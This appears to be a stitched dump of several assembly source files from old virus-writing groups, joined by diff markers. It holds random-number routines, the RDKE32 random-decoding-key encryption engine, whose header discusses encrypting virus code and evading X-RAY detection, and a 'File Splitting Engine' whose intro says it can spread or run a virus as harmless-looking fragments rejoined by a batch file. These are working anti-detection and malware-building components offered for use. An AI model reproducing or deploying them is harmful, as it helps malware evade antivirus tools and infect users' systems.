;EAX - слуяайное число в диапазоне [0..N-1] ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; y0p! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ФИЧИ ;
; ;
;(+) базонезависимость ;
;(+) прост в использовании ;
;(+) не использует WinApi'шек ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ИСПОЛЬЗОВАНИЕ: ;
; ;
;1) Подключение: ;
; rang32.asm ;
;2) Вызов (пример stdcall): ;
; push 5 ;кладем в стэк число ;
; call RANG32 ;вызываем ГСЧ -> в EAX после вызова будет значение [0..5-1] ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;m1x
;pr0mix@mail.ru
;EOF
RANG32:
pushad ;сохраняем регистры
mov ecx,dword ptr [esp+24h] ;ecx=число, что передали в стэке
db 0fh,31h
imul eax,eax,1664525 ;идут разные вычисления для получения
add eax,1013904223 ;более случайного числа
add eax,edx
adc eax,esp
rcr eax,16
imul eax,[esp+32]
xor edx,edx
mul ecx ;mul действует как div
mov dword ptr [esp+1ch],edx
popad
ret 04
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции RANG32
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
@@ -0,0 +1,240 @@
comment *
ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
ßßßÛÛÛÛÛÛ ÜÜ ßßß ßßß ÜÜÜ ÛÛÛÛÛÛßßß
±ÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛ°
ÛÛÛÛ ÛÛÛÛÛÛ ²ÛÛÛÛÛ ÛÛÛÛ
ÛÛÛÛ ßÛÛÛÛ± ÜÛÛÛÛ² ÛÛÛÛ
°ÛÛÛÛ ÛÛÛÛÛßÛÛÛÛß ÛÛÛÛ
±ÛÛÛÛ ÛÛÛÛ² ÛÛÜÜ ÛÛÛÛ°
ÜÜÜÜÜÜÜÜÜÜÜÜÜ ²ÛÛÛÛ ÛÛÛÛ± ÛÛÛÛ²Ü ÛÛÛÛ± ÜÜÜÜÜÜÜÜÜÜÜÜ
Û ÛÛÛÛÛ ÛÛÛÛ² ²ÛÛÛÛÛ° ÛÛÛÛ² Û
Û ÛÛÛÛÛ ÜÛÛÛÛÛ ²ÛÛÛÛ² ÛÛÛÛÛ Û
ßÜ ßßßßß ßßßß ßßßß ßßßßß Üß
ÜßßßßßßßßßßßßßßßßþThe Knight TemplarsþßßßßßßßßßßßßßßßÜ
Û Û
Û Random Decoding Key Engine 32-bit v 1.0 [RDKE32] Û
Û Code by Û
Û Darkman/TKT Û
Û Û
ßÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜß
Do not use this engine to encrypt known plaintext such as the actual virus
code. It is possible to decrypt known plaintext encrypted with this
engine using the X-RAY technique, also known as cryptanalysis. You can read
more about this technique in "Detecting oh, roughly every polymorphic engine
out there", an article by Rhincewind/VLAD, published in VLAD Magazine issue
4. Billy Belcebu/iKx did this mistake in Win32.Legacy using his Internal
ENCryptor v 1.0 [iENC], a Random Decoding Key (RDK) engine using a 8-bit
eXclusive OR (XOR) algorithm to encrypt the actual virus in 19 different
blocks.
Length of Random Decoding Key Engine 32-bit v 1.0 [RDKE32]: 171 bytes.
*
hash_size equ (0a0h/08h)
_RDKE32Encrypt struc
_lpHash dd ?
_lpBuffer dd ?
_dwNumberOfBytesToHashAndEncrypt dd ?
_dwSecurityLevel dd ?
ends
_RDKE32Decrypt struc
_lpHash dd ?
_lpBuffer dd ?
_dwNumberOfBytesToDecrypt dd ?
ends
_pushad struc
_edi dd ?
_esi dd ?
_ebp dd ?
_esp dd ?
_ebx dd ?
_edx dd ?
_ecx dd ?
_eax dd ?
ends
rdke32_begin:
; RDKE32Encrypt
;
;
; The RDKE32Encrypt function creates a hash and encrypts data.
;
; VOID RDKE32Encrypt(
; LPVOID lpHash // data buffer to receive hash
; LPVOID lpBuffer // data buffer of data to hash and encrypt
; DWORD dwNumberOfBytesToHashAndEncrypt // number of bytes to hash and
; // encrypt
; DWORD dwSecurityLevel // security level
; );
;
; Parameters
; lpHash
; [out] Pointer to the buffer that receives the hash.
; lpBuffer
; [out] Pointer to the buffer containing the data to be hashed and encrypted.
; dwNumberOfBytesToHashAndEncrypt
; [in] Specifies the number of bytes to be hashed and encrypted.
; dwSecurityLevel
; [in] Specifies the security level of the encryption. The higher it is the
; longer it will take for RDKE32Decrypt to bruteforce and decrypt the
; encrypted data.
;
; Return Values
; This function does not return a value.
RDKE32Encrypt proc ; Random Decoding Key Engine 32-bit
; v 1.00 [RDKE32] encryptor
pushad
mov edi,[esp._lpHash+size _pushad+04h]
; Pointer to the buffer that receives
; the hash
mov ebx,[esp._lpBuffer+size _pushad+04h]
; Pointer to the buffer containing the
; data to be hashed and encrypted
mov ecx,[esp._dwNumberOfBytesToHashAndEncrypt+size _pushad+04h]
; Specifies the number of bytes to be
; hashed and encrypted
mov eax,[esp._dwSecurityLevel+size _pushad+04h]
; Specifies the security level
call SHA1, edi, ecx, ebx
insecure_key:
call GetRandomNumberWithinRange
call test_key_security
jz insecure_key
call cryptor
popad
ret size _RDKE32Encrypt
endp
; RDKE32Decrypt
;
;
; The RDKE32Decrypt function creates a hash and encrypts data.
;
; VOID RDKE32Decrypt(
; LPVOID lpHash // data buffer of hash
; LPVOID lpBuffer // data buffer of data to decrypt
; DWORD dwNumberOfBytesToDecrypt // number of bytes to decrypt
; );
;
; Parameters
; lpHash
; [in] Pointer to the buffer containing the hash.
; lpBuffer
; [out] Pointer to the buffer containing the data to decrypted.
; dwNumberOfBytesToDecrypt
; [in] Specifies the number of bytes to be decrypted.
;
; Return Values
; This function does not return a value.
RDKE32Decrypt proc ; Random Decoding Key Engine 32-bit
; v 1.00 [RDKE32] decryptor
pushad
mov edi,[esp._lpHash+size _pushad+04h]
; Pointer to the buffer of the hash
mov ebx,[esp._lpBuffer+size _pushad+04h]
; Pointer to the buffer containing the
; data to be decrypted
mov ecx,[esp._dwNumberOfBytesToDecrypt+size _pushad+04h]
; Specifies the number of bytes to be
; decrypted
sub esp,hash_size
mov esi,esp ; ESI = pointer to the hash
xor edx,edx
bruteforce_loop:
inc edx ; EDX = 32-bit encryption/decryption
; key
call test_key_security
jz bruteforce_loop
call cryptor
call SHA1, esi, ecx, ebx
pushad
push (hash_size/04h)
pop ecx
rep cmpsd ; Succesfully decrypted the buffer to
; be decrypted?
popad
je RDKE32Decrypt_exit
call cryptor
jmp bruteforce_loop
RDKE32Decrypt_exit:
add esp,hash_size
popad
ret size _RDKE32Decrypt
endp
test_key_security proc ; Test the security of the 32-bit key
pushad
test eax,eax ; Insecure key?
jz test_key_exit
push 03h
pop ecx
test_key_loop:
mov eax,edx ; EDX = 32-bit encryption/decryption
; key
mov ebx,ecx
_test_key_loop:
rol eax,08h
test al,dl
jz test_next_key
cmp al,dl ; Insecure key?
je test_key_exit
test_next_key:
dec ebx
jnz _test_key_loop
rol edx,08h
loop test_key_loop
inc ecx ; Secure key
test_key_exit:
popad
ret
endp
cryptor proc ; 32-bit encryptor/decryptor
pushad
crypt_loop:
inc ecx
test dl,dl ; Insecure key?
jz dont_crypt
dec ecx
xor [ebx],dl
inc ebx
dont_crypt:
rol edx,08h
loop crypt_loop
popad
ret
endp
db ' [RDKE32] '
rdke32_end:
rdke32_size equ (rdke32_end-rdke32_begin)
@@ -0,0 +1,96 @@
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; ГЕНЕРАТОР СЛУЧАЙНОГО ЧИСЛА V. 0.42 (x) 2005 СЛОН ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
; Интервал: [0..eax-1] ;
;------------------------------------------------------------------------------;
; Используется алгоритм ГПСЧ Джорджа Марсаглии - "Xorshift - 128" ;
; Данный алгоритм прошел тест DIEHARD его период 2^128-1 ;
;------------------------------------------------------------------------------;
; Использование: call r_init ;
; mov eax,ГРАНИЦА ИНТЕРВАЛА ;
; call brandom32 ;
;------------------------------------------------------------------------------;
; Результат: число в интервале [0..ГРАНИЦА ИНТЕРВАЛА] ;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%;
;----[Подпрограмма инициализации генератора случайных чисел]-------------------;
r_init:
push ebp eax edx ; Сохраняем в стэке ebp,eax,edx
call __delta1_ ;
__delta1_: pop ebp ; Получение дельта смещения
sub ebp,offset __delta1_ ;
db 0fh,031h ; Получаем случайное зерно
mov [ebp+x],eax ;
pop edx eax ebp ; Восстанавливаем edx,eax,ebp
ret ; Возврат из подпрограммы
;----[Подпрограмма генерации случаного чмсла в диапазоне]----------------------;
brandom32: ; Эта подпрограмма
; возвращает случайное число
; в диапазоне 0..eax-1
push edx ecx ebp ; Сохраняем в стэке edx,ecx,ebp
call __delta2_ ;
__delta2_: pop ebp ; Получение дельта смещения
sub ebp,offset __delta2_ ;
imul eax,eax,100 ; Умножаем eax на 100
push eax ; и сохраняем eax в стэке
call random32 ; Вызываем подпрограмму
; генерации случайного числа
xor edx,edx ; Обнуляем edx
pop ecx ; Восстанавливаем значение
; из стэка в ecx
div ecx ; Делим eax на ecx
xchg eax,edx ; Помещаем остаток в eax
xor edx,edx ; Обнуляем edx
push 100 ; Помещаем в ecx - 100
pop ecx ;
div ecx ; Делим eax на ecx
pop ebp ecx edx ; Восстанавливаем ebp,ecx,edx,
ret ; Возврат из подпрограммы
;----[Подпрограмма генерации случайного числа]---------------------------------;
random32:
push ebx edx ecx ;
push ebp ; Сохраняем регистры в стэке
call __delta3_ ;
__delta3_: pop ebp ; Получение дельта смещения
sub ebp,offset __delta3_ ;
mov eax,12345678 ;
x = dword ptr $-4 ;
shl eax,0bh ; Выполняем математические
xor eax,[ebp+x] ; преобразования по нужному нам
mov edx,362436069 ; алгоритму данная часть
y = dword ptr $-4 ; выглядела бы на С так:
mov [ebp+x],edx ; unsigned long x=123456789,
mov ecx,521288629 ; y=362436069,
z = dword ptr $-4 ; z=521288629,
mov [ebp+y],ecx ; w=88675123;
mov ebx,88675123 ; t=(x^(x<<11));x=y;y=z;z=w;
w = dword ptr $-4 ; Где t в нашем случае eax
mov [ebp+z],ebx ;
mov edx,[ebp+w] ; Далее идут следующие
shr edx,13h ; вычисления, которые дают СЧ
xor edx,[ebp+w] ; (w=(w^(w>>19))^(t^(t>>8)));
xor edx,eax ;
shr eax,08h ;
xor edx,eax ;
mov [ebp+w],edx ;
mov eax,edx ;
pop ebp ;
pop ecx edx ebx ; Вынимаем регистры из стэка
retn ; Возврат из подпрограммы
Binary file not shown.
@@ -0,0 +1,302 @@
File Splitting Engine
by Second Part To Hell
www.spth.de.vu
spth@priest.com
written in May-June 2005
in Austria
This is just a small engine, but I'm sure it could be very useful.
What does the engine do? It splitts the current file into 3-10 byte
parts and creates a joining file (called start.bat).
To understand it's purpose, you should read my article called
"Over-File Splitting".
What could you do with the splitted files?
- You could make an archive (via own routing, possible installed WinZIP/RAR
or use the WinME+ preinstalled function [C:\WINDOWS\System32\zipfldr.dll,-10195]
to compress files.) This file now could be send out via eMail.
The advantage: No file is infected with an virus - but all together they are.
- You could save all files in a directory (Windir, system32, whatever), and
call the joining file every startup. What may happen? Virus/Worm works at
the computer, but no file is infected :)
- You could think of your own way to use this technique. Lazy ass :)
How to compile:
- Delete this intro
- Use flat assembler 1.56
Now: Much fun with it :)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; [File Splitting Engine] ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include '..\FASM\INCLUDE\win32ax.inc'
.data
c_file_name dd 0x0
c_file_rnd_name: times 8 db 0x0
db '.tmp',0
c_file_handle dd 0x0
c_file_size dd 0x0
c_map_handle dd 0x0
c_map_pointer dd 0x0
compain_name db 'start.bat',0
compain_data dd 0x0
compain_pointer dd 0x0
compain_start db 'copy '
compain_handle dd 0x0
split_handle dd 0x0
split_counter db 0x0
rand_name_buffer: times 8 db 0x0
rnd_file_name: times 8 db 0x0
db '.tmp',0
ZERO_field dd 0x0
systemtime_struct: ; for random number
dw 0 ; wYear
dw 0 ; wMonth
dw 0 ; wDayOfWeek
dw 0 ; wDay
dw 0 ; wHour
dw 0 ; wMinute
dw 0 ; wSecond
rnd: dw 0 ; wMilliseconds
.code
start:
invoke GetCommandLine
inc eax ; Delete first "
mov ebx, eax ; Save eax
get_my_name:
inc ebx ; Get next letter
cmp byte [ebx], '.' ; Compare with '.'
jne get_my_name
mov byte [ebx+4], 0x0 ; Delete the second "
mov [c_file_name], eax ; Save the pointer
invoke DeleteFile, compain_name ; Delete the old compainer-file the file
mov ebp, 0xAAAAAAAA ; Influences the random engine
call random_name ; random name in rnd_file_name
mov esi, rnd_file_name ; From: random-name buffer
mov edi, c_file_rnd_name ; To: Buffer for this copy of the file
mov ecx, 8 ; How much: 8 letters
rep movsb ; Copy string
invoke CopyFile, [c_file_name], c_file_rnd_name, FALSE ; Copies the current file to a .tmp
invoke CreateFile, c_file_rnd_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0x0 ; Open own file
mov [c_file_handle], eax ; Save the file handle
invoke GetFileSize, [c_file_handle], c_file_size ; Get the size of the file
mov [c_file_size], eax ; Low Filesize returned in eax
invoke CreateFileMapping, [c_file_handle], 0x0, PAGE_READWRITE, 0x0, [c_file_size], 0x0 ; Create a Map
mov [c_map_handle], eax ; Save the Map handle
invoke MapViewOfFile, [c_map_handle], FILE_MAP_WRITE, 0x0, 0x0, [c_file_size] ; Map view of file
mov [c_map_pointer], eax ; Save the pointer of file
invoke VirtualAlloc, 0x0, 0x120000, 0x1000, 0x4 ; Reserve Space in Memory
mov [compain_data], eax ; Save the pointer to it.
mov [compain_pointer], eax ; Save again
mov esi, compain_start ; What to write
mov edi, [compain_pointer] ; Where to write
mov ecx, 5 ; How much to write
rep movsb ; Write!
add [compain_pointer], 5 ; Get next empty byte to write
main_loop:
mov ebp, 0xAAAAAAAA ; Influences the random engine
call random_name ; random name in rnd_file_name
invoke CreateFile, rnd_file_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0x0
cmp eax, INVALID_HANDLE_VALUE ; If file already existed
je main_loop ; then get a new file-name
mov [split_handle], eax ; Save the file-handle
call random_number ; Get random number
xor eax, eax ; eax=0
mov al, [rand_name_buffer] ; al~=random
and al, 7 ; al= 0000 0???
add al, 3 ; At least three byte
mov [split_counter], al ; Save that bytes
sub [c_file_size], eax ; Decrease the bytes to write
invoke WriteFile, [split_handle], [c_map_pointer], eax, ZERO_field, 0x0 ; Write (1..8) byte
invoke CloseHandle, [split_handle] ; Close the file
xor eax, eax
mov al, [split_counter] ; How many bytes written
add [c_map_pointer], eax ; Add the pointer - write the next few bytes next time
mov esi, rnd_file_name ; From: Filename-buffer
mov edi, [compain_pointer] ; To: compainer-pointer
mov ecx, 12 ; 8+strlen('.tmp')
rep movsb ; Write!
add [compain_pointer], 12 ; Add 12 to pointer
mov eax, [compain_pointer] ; Pointer to eax
mov byte [eax], '+' ; Move '+' to the code's memory
inc [compain_pointer] ; Increase the pointer
cmp [c_file_size], 0 ; Compare if more bytes to write
jg main_loop ; If yes, jmp to main_loop
invoke UnmapViewOfFile, [c_map_pointer] ; Unmap View of File
invoke CloseHandle, [c_map_handle] ; Close Map
invoke CloseHandle, [c_file_handle] ; Close File
invoke DeleteFile, c_file_rnd_name ; Delete the temporary copy of the current file
invoke CreateFile, compain_name, GENERIC_READ or GENERIC_WRITE, 0x0, 0x0, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0x0
mov [compain_handle], eax
mov eax, [compain_pointer] ; eax=pointer
dec eax ; Delete the last '+'
mov byte [eax], 0x20 ; Add a space
inc [compain_pointer] ; Increase pointer again
mov ebp, 0xAAAAAAAA ; Influences the random engine
call random_name ; random name in rnd_file_name
mov eax, rnd_file_name ; RND-pointer in eax
add eax, 8 ; add 8 to pointer (='.' of filename)
mov dword [eax], '.exe' ; instate of '.tmp', '.exe'
dec [compain_pointer]
mov esi, rnd_file_name ; From: rnd_file_name
mov edi, [compain_pointer] ; To: compainter_pointer
mov ecx, 12 ; How much: 12 bytes
rep movsb ; Write
add [compain_pointer], 12 ; Add 12, to get the end again
mov eax, [compain_pointer] ; eax=pointer to content
mov word [eax], 0x0A0D ; Next Line
add [compain_pointer], 2
mov esi, rnd_file_name ; From: rnd_file_name
mov edi, [compain_pointer] ; To: compainter_pointer
mov ecx, 12 ; How much: 12 bytes
rep movsb ; Write
add [compain_pointer], 12 ; Add 12, to get the end again
mov eax, [compain_data]
sub [compain_pointer], eax
invoke WriteFile, [compain_handle], [compain_data], [compain_pointer], ZERO_field, 0x0 ; Write the file
invoke CloseHandle, [compain_handle]
invoke ExitProcess, 0x0
random_number:
pop edi ; Get value of stack
push edi ; Back to the stack
mov ecx, 8 ; ecx=counter
mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random
mov dl, 0x87 ; same as dh
random_name_loop:
push dx ; Save dx at stack
push ecx ; Save counter at stack
call random_byte ; Random number in al
pop ecx ; get counter
xor al, cl ; Counter influences pseudo random number
pop dx ; Get dx
push ecx
xor dx, cx ; Counter influences influncing number
add dh, al ; Random number influences influencing number
sub dl, al ; Same as dh
neg dl ; Neg dl
xor dl, dh ; dl XOR dh -> more variability
xor al, dl ; random number changes
sub ax, di ; value of stack influences random number
add ax, dx ; ax+dx
mov dl, [rand_name_buffer+ecx-2]
mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ?????
sub al, dl ; al-=dl
add al, dh ; al+=dh
mov ah, dl ; ah=dl
push ax ; AX to stack
mov cl, 1 ; cl=1
or dh, cl ; dh is at least 1 (to reduce chance of result=zero)
mul dh ; AL=AX*DH
pop cx ; CX=old AX
push cx ; To stack again
add cl, al ; CL+=AL
sub cl, ah ; CL-=AH
xchg al, cl ; AL=CL
mov cx, bp ; cx=bp
mul cl ; AX=AL*CL
neg ah ; NEG AH
xor al, ah ; xor AL and AH
pop cx ; get old AX
sub cl, al ; SUB
add cl, dl ; cl+=old random number
sub al, cl ; al ~=random :)
pop ecx ; Get counter
mov [rand_name_buffer+ecx-1], al ; Save random letter
loop random_name_loop
ret
random_name:
call random_number ; Get 8 random bytes
mov ecx, 8 ; counter=8, as we want to do it 8 times
changetoletter:
mov al, [rand_name_buffer+ecx-1] ; Get a letter
mov bl, 10 ; BL=10
xor ah, ah ; AX: 0000 0000 ???? ????
div bl ; AL=rnd/10=number between 0 and 25
add al, 97 ; Add 97 for getting lowercase letters
mov [rnd_file_name+ecx-1], al ; Save random letter
loop changetoletter
ret
random_byte:
invoke GetSystemTime, systemtime_struct ; Get first number
mov ebx, [rnd-2] ; ebx=number
add ebx, edx ; Making it pseudo-independent of time
sub ebx, ecx
xor ebx, eax
xchg bl, bh
pop ecx
push ecx
neg ebx
xor ebx, ecx ; ebx=pseudo-indepentend number
invoke GetTickCount ; Get second number
xor eax, ecx ; eax=number
neg ax ; Making it pseudo-independent of time
xor eax, edx
xor ah, al
sub eax, ebp
add eax, esi ; eax=pseudo-indepentend number
xor eax, ebx ; Compain the numbers -> eax
mov ebx, eax ; Save eax
shr eax, 8 ; e-part -> ax
xor ax, bx
xor al, ah ; al=number
ret
.end start
File diff suppressed because it is too large Load Diff
Binary file not shown.